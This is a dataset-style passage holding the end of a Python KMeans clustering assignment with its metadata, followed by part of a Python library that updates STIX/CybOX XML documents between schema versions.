cluster centres\r\nlabels = kmeans.labels_\r\ncen = kmeans.cluster_centers_\r\nplt.figure(figsize=(6.0, 6.0))\r\nplt.scatter(df_fit[\"INDIA\"], df_fit[\"JAPAN\"], c=labels, cmap=\"Accent\")\r\n# colour map Accent selected to increase contrast between colours\r\n# show cluster centres\r\nfor i in range(5):\r\n cx, cy = cen[i, :]\r\n\r\nplt.plot(cx, cy, \"dk\", markersize=10)\r\nplt.xlabel(\"country\")\r\nplt.ylabel(\"y\")\r\nplt.title(\"5 clusters\")\r\nplt.savefig('5 cluster.png', bbox_inches=\"tight\", dpi=300)\r\nplt.show()\r\n\r\n\r\n\r\n", "repo_name": "sanjuparampil/Assignment3", "sub_path": "Clustering_assignment.py", "file_name": "Clustering_assignment.py", "file_ext": "py", "file_size_in_byte": 5452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 59, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 89, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.plotting", "line_number": 109, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 128, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 128, "usage_type": "name"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 133, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 137, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 158, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}]} {"seq_id": "44359554367", "text": "import collections\n\n# external\nfrom lxml import etree\n\n# relative\nfrom . import errors, utils, xmlconst, results\nfrom .options import DEFAULT_UPDATE_OPTIONS\n\n\n# Constants\nTAG_VOCAB_REFERENCE = \"vocab_reference\"\nTAG_VOCAB_NAME = 'vocab_name'\n\n\nclass Vocab(object):\n \"\"\"Controlled Vocabulary update class. This is used on conjunction with a\n dictionary which maps found controlled vocabulary instance names to _Vocab\n implementation classes.\n\n Attributes:\n VOCAB_NAMESPACE: The namespace which contains the controlled vocabulary\n definition.\n OLD_TYPES: A tuple of XSD type names which when discovered will be\n upgraded.\n NEW_TYPE: The XSD type name for the updated controlled vocabulary\n VOCAB_REFERENCE: The ``vocab_reference`` xml attribute text.\n VOCAB_NAME: The ``vocab_name`` xml attribute text.\n TERMS (dict): A dictionary of vocabulary term mappings. This is useful\n for typo corrections between controlled vocabulary revisions.\n\n \"\"\"\n VOCAB_NAMESPACE = None\n OLD_TYPES = ()\n NEW_TYPE = None\n VOCAB_REFERENCE = None\n VOCAB_NAME = None\n TERMS = {}\n\n @classmethod\n def find(cls, root, typed=None):\n \"\"\"Finds and returns a list of nodes that are instances of old\n controlled vocabularies.\n\n \"\"\"\n if typed is None:\n typed = utils.get_typed_nodes(root)\n\n found = []\n for node in typed:\n _, typename = utils.get_type_info(node)\n ext_ns = utils.get_ext_namespace(node)\n\n if ext_ns != cls.VOCAB_NAMESPACE:\n continue\n elif typename not in cls.OLD_TYPES:\n continue\n else:\n found.append(node)\n\n return found\n\n @classmethod\n def update(cls, root, typed=None):\n \"\"\"Updates controlled vocabularies found under the `root` document.\n\n This performs the following updates:\n * Updates ``xsi:type`` attribute to refer to the new type name.\n * Updates terms to align with new vocabulary in the case of typo fixes.\n * Updates ``vocab_name`` attribute value if present.\n * Updates ``vocab_reference`` attribute value if present.\n\n \"\"\"\n if typed is None:\n typed = utils.get_typed_nodes(root)\n\n vocabs = cls.find(root, typed)\n\n for node in vocabs:\n alias, _ = utils.get_type_info(node)\n\n attribs = node.attrib\n terms = cls.TERMS\n new_type = cls.NEW_TYPE\n vocab_ref = cls.VOCAB_REFERENCE\n vocab_name = cls.VOCAB_NAME\n\n # Update the xsi:type attribute to identify the new\n # controlled vocabulary\n new_xsi_type = \"%s:%s\" % (alias, new_type)\n attribs[xmlconst.TAG_XSI_TYPE] = new_xsi_type\n\n # Update the vocab_reference attribute if present\n if TAG_VOCAB_REFERENCE in attribs:\n attribs[TAG_VOCAB_REFERENCE] = vocab_ref\n\n # Update the vocab_name attribute if present\n if TAG_VOCAB_NAME in attribs:\n attribs[TAG_VOCAB_NAME] = vocab_name\n\n # Update the node value if there is a new value in the updated\n # controlled vocabulary\n value = node.text\n if value in terms:\n node.text = terms[value]\n\n\nclass TranslatableField(object):\n \"\"\"Helper class for translating field instances between versions of a\n language specifications.\n\n Note:\n The methods defined here may not (likely will not) apply to every\n translation scenario. As such, it is encouraged to override any/all\n of these methods for specific translation requirements.\n\n Attributes:\n NSMAP: A dictionary of namespace aliases => namespaces used in xpaths\n and type lookups.\n XPATH_NODE: An xpath which locates instances of the field to be\n translated.\n XPATH_VALUE: An xpath to be applied to the nodes discovered via\n `XPATH_NODE` which extracts the value.\n NEW_TAG: The etree tag for the translated field.\n COPY_ATTRIBUTES (boolean): If true, attributes are copied from the node\n discovered by `XPATH_VALUE` to the translated field.\n OVERRIDE_ATTRIBUTES (dict): A dictionary of attribute names => value to\n override during the translation. This will only update existing\n attributes--not add them.\n\n \"\"\"\n NSMAP = None\n XPATH_NODE = None\n XPATH_VALUE = '.'\n NEW_TAG = None\n COPY_ATTRIBUTES = False\n OVERRIDE_ATTRIBUTES = {}\n\n @classmethod\n def _translate_value(cls, old, new):\n xpath, nsmap = cls.XPATH_VALUE, cls.NSMAP\n if xpath:\n value = old.xpath(xpath, namespaces=nsmap)[0]\n new.text = value.text\n else:\n # Used when the fields are the same data type, just different names\n new[:] = old[:] # TODO: verify that namespaces don't get messed up here\n\n @classmethod\n def _translate_attributes(cls, old, new):\n \"\"\"Copies attributes from `old` to `new` (discovered by `XPATH_VALUE`\n or the `old` node ``text`` value).\n\n If `COPY_ATTRIBUTES` is set to ``True``, attributes from the `old` node\n value are copied to `new`. If an attribute is found that matches a key\n in `OVERRIDE_ATTRIBUTES`, its value is overridden by the value found in\n `OVERRIDE_ATTRIBUTES`.\n\n \"\"\"\n xpath, nsmap = cls.XPATH_VALUE, cls.NSMAP\n\n if xpath:\n source = old.xpath(xpath, namespaces=nsmap)[0]\n else:\n source = old\n\n if cls.COPY_ATTRIBUTES:\n new.attrib.update(source.attrib)\n\n for name, val in cls.OVERRIDE_ATTRIBUTES.iteritems():\n if name not in source.attrib:\n continue\n new.attrib[name] = val\n\n @classmethod\n def _translate_fields(cls, node):\n \"\"\"Translates values and attributes from `node` to a new XML\n element.\n\n Returns:\n A translated ``etree._Element``.\n \"\"\"\n tag = cls.NEW_TAG or node.tag\n new = etree.Element(tag)\n\n cls._translate_value(node, new)\n cls._translate_attributes(node, new)\n\n return new\n\n @classmethod\n def _find(cls, root):\n \"\"\"Discovers translatable fields in the `root` document.\n\n Returns:\n A list of nodes discovered via the `XPATH_NODE` xpath.\n\n \"\"\"\n return root.xpath(cls.XPATH_NODE, namespaces=cls.NSMAP)\n\n @classmethod\n def translate(cls, root):\n \"\"\"Translates and replaces nodes found in `root` with new nodes.\n\n \"\"\"\n nodes = cls._find(root)\n\n for node in nodes:\n new_node = cls._translate_fields(node)\n utils.replace_xml_element(node, new_node)\n\n\nclass RenamedField(TranslatableField):\n \"\"\"Extension to ``_TranslatableField`` that only performs a renaming\n operation on discovered nodes.\n\n Note:\n The name of the node is defined by the `NEW_TAG` class-level attribute.\n\n \"\"\"\n @classmethod\n def translate(cls, root):\n nodes = cls._find(root)\n\n for node in nodes:\n node.tag = cls.NEW_TAG\n\n\nclass DisallowedFields(object):\n \"\"\"Helper class used to discover untranslatable fields within an XML\n instance document.\n\n Attributes:\n CTX_TYPES: A dictionary of xsi:type contexts to look for or within. If\n CTX_TYPES is ``None`` or empty, the root node is used as the\n context for xpaths.\n XPATH: An xpath used to discover nodes under the contexts determined\n by `CTX_TYPES`. By default, `XPATH` is ``'.'``, meaning the\n context nodes are returned by the `XPATH` by default.\n NSMAP: A dictionary of namespace aliases => namespaces. Used for xpath\n evaluation.\n\n \"\"\"\n CTX_TYPES = {}\n XPATH = \".\"\n NSMAP = {}\n\n def __init__(self,):\n pass\n\n @classmethod\n def _interrogate(cls, nodes):\n \"\"\"Overriden by implemmentation classes if a set of requirments must\n be evaluated before a node is considered untranslatable.\n\n For example, the `_interrogate()` method could only consider a node\n untranslatable if it has more than one child node.\n\n Args:\n nodes: A list of nodes to interrogate for untranslatable\n properties.\n\n Returns:\n A list of untranslatable nodes. By default, this method does not\n perform any inspection of `nodes` and only returns `nodes`.\n\n \"\"\"\n return nodes\n\n @classmethod\n def _get_contexts(cls, root, typed=None):\n \"\"\"Returns context nodes under `root` discovered by `CTX_TYPES`.\n\n If `CTX_TYPES` is ``None`` or empty, The entire `root` node is\n considered to be the context for the class-level `XPATH`.\n\n Args:\n root: The root node for an XML instance document.\n typed: xsi:typed nodes to search through when looking for\n context nodes. If ``None``, the entire `root` document will be\n searched for xsi:typed nodes that match the names and namespaces\n declared by `CTX_TYPES`. This is provided to speed up\n context node discovery.\n\n Returns:\n A list of context nodes for `XPATH` to be evaluated against.\n\n \"\"\"\n ctx = cls.CTX_TYPES\n\n if not ctx:\n return (root,)\n\n if typed is None:\n typed = utils.get_typed_nodes(root)\n\n contexts = []\n for node in typed:\n type_ = utils.get_type_info(node)[1]\n ns = utils.get_ext_namespace(node)\n\n if ctx.get(type_) == ns:\n contexts.append(node)\n\n return contexts\n\n @classmethod\n def find(cls, root, typed=None):\n \"\"\"Finds disallowed (untranslatable) fields under the `root` node.\n\n Returns:\n A list of disallowed or untranslatable nodes.\n\n \"\"\"\n contexts = cls._get_contexts(root, typed)\n xpath, nsmap = cls.XPATH, cls.NSMAP\n\n found = []\n for ctx in contexts:\n nodes = ctx.xpath(xpath, namespaces=nsmap)\n interrogated = cls._interrogate(nodes)\n found.extend(interrogated)\n\n return found\n\n\nclass OptionalAttributes(DisallowedFields):\n \"\"\"Helper class for discovering empty, optional attributes.\n\n There are cases where one revision of STIX/CybOX required the presence\n of an attribute which became optional in later revisions. This enables the\n discovery of these attributes which may be present in the input document\n only for schema-validation reasons.\n\n Attributes:\n ATTRIBUTES: A tuple of attribute tags to look for.\n\n \"\"\"\n ATTRIBUTES = ()\n\n def __init__(self):\n super(OptionalAttributes, self).__init__()\n\n @classmethod\n def _interrogate(cls, nodes):\n \"\"\"Inspects each node in `nodes` for the presence of empty attributes\n defined in `ATTRIBUTES`.\n\n Note:\n This overrides the `_interrogate()` method implemented in\n ``_DisallowedFields``.\n\n Returns:\n A list of nodes containing empty attributes defined in `ATTRIBUTES`.\n\n \"\"\"\n contraband = []\n attrs = cls.ATTRIBUTES\n\n def is_empty(node, attr):\n if attr in node.attrib:\n val = node.attrib[attr]\n return len(val) == 0\n else:\n return False\n\n for node in nodes:\n if not any(is_empty(node, x) for x in attrs):\n continue\n contraband.append(node)\n\n return contraband\n\n\nclass OptionalElements(DisallowedFields):\n \"\"\"Helper class for discovering empty, optional elements.\n\n There are cases where one revision of STIX/CybOX required the presence\n of an element which became optional in later revisions. This enables the\n discovery of elements which may be present in the input document only for\n the sake of schema-validation.\n\n \"\"\"\n def __init__(self):\n super(OptionalElements, self).__init__()\n\n @classmethod\n def _is_empty(cls, node):\n \"\"\"Returns ``False`` if `node` or any of its descendants contain\n attributes or text values.\n\n \"\"\"\n nodes = node.iter('*')\n content = any(x.attrib or utils.strip_whitespace(x.text) for x in nodes)\n return content is False\n\n @classmethod\n def _interrogate(cls, nodes):\n \"\"\"Checks if any of the nodes in `nodes` are empty.\n\n Note:\n A node is considered to be emtpy if it has no attributes, no text\n value, and no children with content (attribs or text content).\n These criterion may be overridden by implementations of this class.\n\n Returns:\n A list of nodes that are empty.\n\n \"\"\"\n return [x for x in nodes if cls._is_empty(x)]\n\n\nclass BaseUpdater(object):\n \"\"\"The base class for all STIX and CybOX updater code.\n\n Attributes:\n VERSION: Specifies the base langauge version for an updater\n implementation. For example, a STIX v1.0 updater would use '1.0'.\n NSMAP: A dictionary of namespace aliases => namespaces for a given\n language version. This is used for xpath evaluation and xsi:type\n lookup.\n DISALLOWED_NAMESPACES: A tuple of namespaces which cannot be translated\n during the update process. These namespaces will be stripped and\n not appear in the export document.\n UPDATE_NS_MAP: A dictionary of namespaces that are updated between\n language revisions. For example, CybOX 2.1 defines a new namespace\n for the Windows Driver Object. This dictionary would contain the\n old namespace as a key, and the new namespace as a value.\n UPDATE_SCHEMALOC_MAP: A dictionary of language namespaces to their\n updated schemalocations. If a namespace has been updated between\n langauge revisions, the new namespace will be used as the key (as\n is in the case of the CybOX 2.0.1 updater and the Windows Driver\n Object namespace).\n DEFAULT_VOCAB_NAMESPACE: The namespace for the default vocabulary\n schema.\n UPDATE_VOCABS: A tuple of ``_Vocab`` derivations\n XPATH_VERSIONED_NODES: An xpath which discovers all versioned nodes\n that need to be updated within the source document.\n XPATH_ROOT_NODES: An xpath which discovers all \"root\" nodes\n (implementations of ``STIXType and ObservablesType``) which may\n contain document-level version information.\n DISALLOWED: An iterable collection of DisallowedFields instances.\n OPTIONAL_ELEMENTS: An iterable collection of OptionalElements\n instances.\n OPTIONAL_ATTRIBUTES: An iterable collection of OptionalAttributes\n instances.\n TRANSLATABLE_FIELDS: An iterable collection of TranslatableField\n instances.\n cleaned_fields: A tuple of untranslatable nodes which were removed\n during a forced `update` or `clean` process.\n cleaned_ids: A dictionary of id => [nodes] which contains a list of\n nodes which have had their originally non-unique ids remapped to\n unique ids. This is only populated in a forced `update` or\n `clean` process.\n\n \"\"\"\n # OVERRIDE THESE IN IMPLEMENTATIONS\n VERSION = None\n DISALLOWED_NAMESPACES = ()\n NSMAP = {}\n UPDATE_NS_MAP = {}\n UPDATE_SCHEMALOC_MAP = {}\n\n # Controlled Vocabularies\n DEFAULT_VOCAB_NAMESPACE = None\n UPDATE_VOCABS = ()\n\n XPATH_VERSIONED_NODES = \".\"\n XPATH_ROOT_NODES = \".\"\n\n DISALLOWED = ()\n OPTIONAL_ELEMENTS = ()\n OPTIONAL_ATTRIBUTES = ()\n TRANSLATABLE_FIELDS = ()\n\n def _is_leaf(self, node):\n \"\"\"Returns ``True`` if the `node` has no children.\"\"\"\n return len(node.xpath(xmlconst.XPATH_RELATIVE_CHILDREN)) == 0\n\n def _get_ns_alias(self, root, ns):\n \"\"\"Returns the XML Namespace alias defined for a namespace in a given\n instance document.\n\n Args:\n root (lxml.etree._Element): The instance document root node.\n ns (string): A namespace in the instance document\n\n Returns:\n A string namespace alias for the given ``ns`` namespace. If the\n namespace is not found in the ``root`` instance document, ``None``\n is returned.\n\n \"\"\"\n return root.nsmap.get(ns)\n\n def _get_duplicates(self, root):\n \"\"\"This checks `root` for nodes with duplicate IDs.\n\n Returns:\n A dictionary where the ID is the key and the values are lists of\n lxml._Element nodes.\n\n \"\"\"\n namespaces = self.NSMAP.values()\n id_nodes = collections.defaultdict(list)\n\n for desc in utils.iterdescendants(root):\n if 'id' not in desc.attrib:\n continue\n\n ns = utils.get_namespace(desc)\n\n if ns not in namespaces:\n continue\n\n id_ = desc.attrib['id']\n id_nodes[id_].append(desc)\n\n filtered = {}\n for id_, nodes in id_nodes.iteritems():\n if len(nodes) > 1:\n filtered[id_] = nodes\n\n return filtered\n\n def _get_versioned_nodes(self, root):\n \"\"\"Discovers all versioned nodes under `root` defined by the class-level\n `XPATH_VERSIONED_NODES` xpath.\n\n Args:\n root: The root node to search under.\n\n Returns:\n A list of nodes discovered by evaluating the class-level\n `XPATH_VERSIONED_NODES` xpath.\n\n \"\"\"\n xpath = self.XPATH_VERSIONED_NODES\n namespaces = self.NSMAP\n return root.xpath(xpath, namespaces=namespaces)\n\n def _get_root_nodes(self, root):\n \"\"\"Discovers all versioned nodes under `root` defined by the class-level\n `XPATH_ROOT_NODES` xpath. This is used primarily when trying to\n determine the language version of the input document.\n\n Args:\n root: The root node to search under.\n\n Returns:\n A list of nodes discovered by evaluating the class-level\n `XPATH_ROOT_NODES` xpath.\n\n \"\"\"\n xpath = self.XPATH_ROOT_NODES\n namespaces = self.NSMAP\n return root.xpath(xpath, namespaces=namespaces)\n\n def _check_version(self, root):\n \"\"\"Checks that the version of the document matches the expected\n version. Derived classes need to implement this method.\n\n Note:\n This must be implemented by derived classes.\n\n Raises:\n NotImplementedError: If a derived class does not implement this\n method.\n\n \"\"\"\n raise NotImplementedError()\n\n def _update_vocabs(self, root):\n \"\"\"Updates controlled vocabularies found under the `root` document.\n\n This performs the following updates:\n * Updates ``xsi:type`` attribute to refer to the new type name.\n * Updates terms to align with new vocabulary in the case of typo fixes.\n * Updates ``vocab_name`` attribute value if present.\n * Updates ``vocab_reference`` attribute value if present.\n\n Vocabulary updates are dictated by the `UPDATE_VOCABS` class-level\n attribute.\n\n \"\"\"\n\n typed_nodes = utils.get_typed_nodes(root)\n\n for vocab in self.UPDATE_VOCABS:\n vocab.update(root, typed=typed_nodes)\n\n def _remove_schemalocations(self, root):\n \"\"\"Removes the ``xsi:schemaLocation`` attribute from `root`.\"\"\"\n utils.remove_xml_attribute(root, xmlconst.TAG_SCHEMALOCATION)\n\n def _create_schemaloc_str(self, pairs):\n \"\"\"Creates a valid ``xsi:schemaLocation`` string from the `pairs`\n list of ``(namespace, schemalocation)`` tuples.\n\n Args:\n pairs: list of tuples containing (ns, schemaloc).\n\n Returns:\n An ``xsi:schemaLocation`` value string.\n\n \"\"\"\n schemaloc_str = \" \".join(\"%s %s\" % (ns, loc) for ns, loc in pairs)\n return schemaloc_str\n\n def _clean_schemalocs(self, pairs):\n \"\"\"Returns a list of ``(namespace, schemalocation)`` tuples that are\n allowed for the updated document.\n\n Args:\n pairs: a list of (namespace, schemalocation) tuples.\n\n Note:\n If a namespaces that exist in `DISALLOWED_NAMESPACES` will not be\n found in the return value.\n\n \"\"\"\n disallowed = self.DISALLOWED_NAMESPACES\n return [(ns, loc) for ns, loc in pairs if ns not in disallowed]\n\n def _remap_schemalocs(self, pairs):\n \"\"\"Updates the ``xsi:schemaLocation`` value to use namespaces and\n schemalocations for the next langauge revision.\n\n Args:\n pairs: A list of (namespace, schemalocation) tuples.\n\n Returns:\n A list of updated (namespace, schemalocation) tuples.\n\n \"\"\"\n remapped = []\n\n for ns, loc in pairs:\n updated_ns = self.UPDATE_NS_MAP.get(ns, ns)\n updated_loc = self.UPDATE_SCHEMALOC_MAP.get(updated_ns, loc)\n remapped.append((updated_ns, updated_loc))\n\n return remapped\n\n def _update_schemalocs(self, root):\n \"\"\"Updates the schemalocations found on `root` to point to\n the schemalocations for the next language version.\n\n The new schemalocations are defined by the ``UPDATE_SCHEMALOC_MAP``\n class-level attribute.\n\n Args:\n root (lxml.etree._Element): The top-level xml node.\n\n \"\"\"\n if xmlconst.TAG_SCHEMALOCATION not in root.attrib:\n return\n\n schemalocs = utils.get_schemaloc_pairs(root)\n cleaned = self._clean_schemalocs(schemalocs)\n remapped = self._remap_schemalocs(cleaned)\n updated = self._create_schemaloc_str(remapped)\n\n root.attrib[xmlconst.TAG_SCHEMALOCATION] = updated\n\n def _apply_namespace_updates(self, root):\n \"\"\"Updates the children of `root` to be defined under their updated\n namespace.\n\n This uses the `UPDATE_NS_MAP` attribute to look up and assign\n an updated namespace to a node.\n\n If this isn't done, the node will retain its old namespace and receive\n a new `ns0` namespace alias.\n\n \"\"\"\n for node in utils.iterdescendants(root):\n node_ns = utils.get_namespace(node)\n updated_ns = self.UPDATE_NS_MAP.get(node_ns, node_ns)\n node.tag = node.tag.replace(node_ns, updated_ns)\n\n def _remap_namespaces(self, node):\n \"\"\"Remaps the namespaces found on the input `node` to namespaces\n defined by the ``UPDATE_NS_MAP``. If a namespace for a disallowed\n field/type is discovered, it is removed.\n\n Note:\n Disallowed namespaces are defined by the ``DISALLOWED_NAMESPACES``\n class-level attribute.\n\n Args:\n node (lxml.etree._Element): An ``etree`` XML node..\n\n Returns:\n A dictionary of aliases to namespaces.\n\n \"\"\"\n remapped = {}\n for alias, ns in node.nsmap.iteritems():\n if ns in self.DISALLOWED_NAMESPACES:\n continue\n\n remapped[alias] = self.UPDATE_NS_MAP.get(ns, ns)\n\n return remapped\n\n def _get_remapped_tag(self, node):\n \"\"\"Returns a new tag for `node` which includes an updated namespace\n portion of the tag. This is determined by looking up the tag\n namespace in the ``UPDATE_NS_MAP`` class dictionary.\n\n Returns:\n A new tag for `node` which contains an updated namespace.\n\n \"\"\"\n namespace = utils.get_namespace(node)\n localname = utils.get_localname(node)\n updated_ns = self.UPDATE_NS_MAP.get(namespace, namespace)\n\n return \"{%s}%s\" % (updated_ns, localname)\n\n def _update_tag(self, node):\n \"\"\"Updates the tag for `node` which a tag that includes an updated\n namespace. This is driven by the ``UPDATE_NS_MAP`` class attribute.\n\n Returns:\n `node` with an updated tag that includes a new namespace if the\n original namespace existed in ``UPDATE_NS_MAP``.\n\n \"\"\"\n node.tag = self._get_remapped_tag(node)\n return node\n\n def _update_nsmap(self, node):\n \"\"\"Updates the ``nsmap`` attribute found on `node` to `nsmap`.\n\n The lxml API does not allow in-place modification of the ``nsmap``\n dictionary. Instead, a copy of the node must be created and initialized\n with an updated ``nsmap`` attribute.\n\n Args:\n node (lxml.etree._Element): An XML element\n nsmap: A ``namspace alias => namespace`` dictionary.\n\n Returns:\n A copy of `root` with its ``nsmap`` attribute set to `nsmap`.\n\n \"\"\"\n tag = self._get_remapped_tag(node)\n updated_nsmap = self._remap_namespaces(node)\n new = etree.Element(tag, nsmap=updated_nsmap)\n new.attrib.update(node.attrib)\n new.text = utils.get_node_text(node)\n new[:] = node[:]\n\n return new\n\n def _update_namespaces(self, node):\n \"\"\"Updates the namespaces in the instance `node` to align with\n with the updated schema. This will also remove any disallowed\n namespaces if found in the instance document.\n\n Note:\n Only nodes that exist within the namespaces defined by\n the ``NS_MAP`` class attribute will be updated.\n\n Note:\n The lxml library does not allow you to modify the ``nsmap``\n attribute of an ``_Element`` directly. To modify the ``nsmap``,\n A copy of `root` must be made with a new initial ``nsmap``.\n\n Returns:\n A copy of the `node` with an updated ``nsmap`` attribute. Each\n of its descendants which belong to known namespaces are updated\n as well.\n\n If `node` is not an ``etree._Element`` (e.g, a comment node),\n or it does not belong to any namespace defined in the class-level\n 